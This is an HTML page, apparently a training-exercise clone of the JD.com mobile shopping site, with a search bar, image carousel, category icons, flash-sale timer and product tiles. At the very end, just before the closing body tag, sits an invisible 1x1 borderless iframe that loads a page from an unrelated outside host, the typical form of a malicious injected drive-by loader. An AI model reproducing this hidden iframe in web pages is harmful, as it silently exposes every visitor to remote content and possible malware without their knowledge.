<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<!-- 添加视口属性 变为移动页面 -->
	<!-- meta:vp -->
	<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
	<title>京东移动站</title>

	<!-- 导入css -->
	<link rel="stylesheet" type="text/css" href="css/base.css">
	<link rel="stylesheet" type="text/css" href="css/index.css">
</head>
<body>
	<!-- 最外层的容器盒子 -->
	<div class="jd_container">

		<!-- 顶部的 通栏 -->
		<div class="jd_header">
			<a href="javascript:void(0)" class='header_logo'></a>
			<span class='header_glass'></span>
			<input type="search" class='header_search' placeholder='请输入内容'>
			<a href="javascript:void(0)" class='header_login'>登录</a>
		</div>

		<!-- 顶部的 轮播图 -->
		<div class="jd_banner">
			<ul class="banner_images clearfix">
				<li><a href="#"><img src="images/l8.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l1.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l2.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l3.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l4.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l5.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l6.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l7.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l8.jpg" alt=""></a></li>
				<li><a href="#"><img src="images/l1.jpg" alt=""></a></li>
			</ul>
			<ul class="banner_index clearfix">
				<li class='current'></li>
				<li></li>
				<li></li>
				<li></li>
				<li></li>
				<li></li>
				<li></li>
				<li></li>
			</ul>
		</div>

		<!-- 导航栏 -->
		<!-- div.jd_nav>ul.clearfix>li*8>a[href='#']>img[src='images/nav$.png']+p{分类查询} -->
		<div class="jd_nav">
			<ul class="clearfix">
				<li><a href="#">
						<img src="images/nav0.png" alt="">
						<p>分类查询</p>
					</a></li>
				<li><a href="#">
						<img src="images/nav1.png" alt="">
						<p>分类查询</p>
					</a></li>
				<li><a href="#">
						<img src="images/nav2.png" alt="">
						<p>分类查询</p>
					</a></li>
				<li><a href="#">
						<img src="images/nav3.png" alt="">
						<p>分类查询</p>
					</a></li>
				<li><a href="#">
						<img src="images/nav4.png" alt="">
						<p>分类查询</p>
					</a></li>
				<li><a href="#">
						<img src="images/nav5.png" alt="">
						<p>分类查询</p>
					</a></li>
				<li><a href="#">
						<img src="images/nav6.png" alt="">
						<p>分类查询</p>
					</a></li>
				<li><a href="#">
						<img src="images/nav7.png" alt="">
						<p>分类查询</p>
					</a></li>
			</ul>
		</div>

		<!-- 主要内容区域 -->
		<div class="jd_main">
			<!--  第一个内容自盒子 需要特殊设置  --> 
			<div class="main_content">
				<!--  清除浮动 --> 
				<div class="content_top clearfix">
					<span></span>
					<p>掌上秒杀</p>
					<ul class='f_l clearfix'>
						<li>0</li>
						<li>0</li>
						<li>:</li>
						<li>0</li>
						<li>0</li>
						<li>:</li>
						<li>0</li>
						<li>0</li>
					</ul>
					<a href="#" class='f_r'>更多&gt;</a>		
				</div>
				<div class="content_bottom">
					<!-- ul>li*3>(a[href='#']>img[src='images/detail01.jpg'])+p{¥10.00}+p{¥100.00} -->
					<ul class='clearfix'>
						<li>
							<a href="#"><img src="images/detail01.jpg" alt=""></a>
							<p>¥10.00</p>
							<p>¥100.00</p>
						</li>
						<li>
							<a href="#"><img src="images/detail02.jpg" alt=""></a>
							<p>¥10.00</p>
							<p>¥100.00</p>
						</li>
						<li>
							<a href="#"><img src="images/detail01.jpg" alt=""></a>
							<p>¥10.00</p>
							<p>¥100.00</p>
						</li>
					</ul>
				</div>
			</div>
			<!-- 除了第一个以外的 所有盒子 -->
			<div class="main_content">
				<div class="content_top clearfix">
					<span class='f_l'>京东超市</span>
				</div>
				<div class="content_bottom">
					<ul class='clearfix'>
						<li class='f_l b_r'><a href="#"><img src="images/cp1.jpg" alt=""></a></li>
						<li class='f_r b_b'><a href="#"><img src="images/cp2.jpg" alt=""></a></li>
						<li class='f_r'><a href="#"><img src="images/cp3.jpg" alt=""></a></li>
					</ul>
				</div>
			</div>
			<div class="main_content">
				<div class="content_top clearfix">
					<span class='f_l'>京东超市</span>
				</div>
				<div class="content_bottom">
					<ul class='clearfix'>
						<li class='f_r b_l'><a href="#"><img src="images/cp1.jpg" alt=""></a></li>
						<li class='f_l b_b'><a href="#"><img src="images/cp2.jpg" alt=""></a></li>
						<li class='f_l'><a href="#"><img src="images/cp3.jpg" alt=""></a></li>
					</ul>
				</div>
			</div>
			<div class="main_content">
				<div class="content_top clearfix">
					<span class='f_l'>京东超市</span>
				</div>
				<div class="content_bottom">
					<ul class='clearfix'>
						<li class='f_r b_l'><a href="#"><img src="images/cp1.jpg" alt=""></a></li>
						<li class='f_l b_b'><a href="#"><img src="images/cp3.jpg" alt=""></a></li>
						<li class='f_l '><a href="#"><img src="images/cp2.jpg" alt=""></a></li>
					</ul>
				</div>
			</div>
		</div>
	</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>